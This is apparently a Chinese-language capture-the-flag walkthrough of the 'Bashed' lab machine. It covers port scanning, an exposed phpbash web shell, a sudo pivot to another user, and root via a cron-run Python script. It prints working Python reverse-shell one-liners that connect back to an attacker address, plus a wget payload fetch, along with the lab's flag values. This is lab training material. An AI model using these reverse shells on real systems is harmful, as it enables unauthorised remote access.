[Meachines] [Easy] Bashed PHP Bash+Python计划任务权限提升

Information Gathering

IP Address Opening Ports
10.10.10.68 TCP:80

$ sudo masscan -p1-65535,U:1-65535 10.10.10.68 --rate=1000 -p1-65535,U:1-65535 -e tun0 > /tmp/ports
$ ports=$(cat /tmp/ports | awk -F " " '{print $4}' | awk -F "/" '{print $1}' | sort -n | tr '\n' ',' | sed 's/,$//')
$ nmap -Pn -sV -sC -p$ports 10.10.10.68

bash 复制代码
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Arrexel's Development Site

PHP Bash

$ dirsearch -u http://10.10.10.68

http://10.10.10.68/dev/

http://10.10.10.68/dev/phpbash.php

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.16",445));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("bash")'

User.txt

8f7df2f47989e214ab11a888ee378946

www-data to scriptmanager

$ sudo -l

$ sudo -u scriptmanager ./reverse.sh

Privilege Escalation : Python cron jobs

$ ./pspy32

$ cd /scripts;touch 1.py

python 复制代码
import os,pty,socket;s=socket.socket();s.connect(("10.10.16.16",443));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("bash")

$ wget http://10.10.16.16/reverse.py

Root.txt

96c6dadfc0c09eb783c4d2e614205ef9

相关推荐
该用户已不存在4 小时前
Mojo vs Python vs Rust: 2025年搞AI,该学哪个?
后端·python·rust
站大爷IP6 小时前
Java调用Python的5种实用方案:从简单到进阶的全场景解析
python
Bruce12312 小时前
web专题之php代审(二)
php
用户83562907805112 小时前
从手动编辑到代码生成:Python 助你高效创建 Word 文档
后端·python
c8i12 小时前
python中类的基本结构、特殊属性于MRO理解
python
BingoGo12 小时前
PHP-FPM 深度调优指南 告别 502 错误,让你的 PHP 应用飞起来
后端·php
liwulin050612 小时前
【ESP32-CAM】HELLO WORLD
python
Doris_202313 小时前
Python条件判断语句 if、elif 、else
前端·后端·python
Doris_202313 小时前
Python 模式匹配match case
前端·后端·python
这里有鱼汤13 小时前
Python量化实盘踩坑指南:分钟K线没处理好,小心直接亏钱!
后端·python·程序员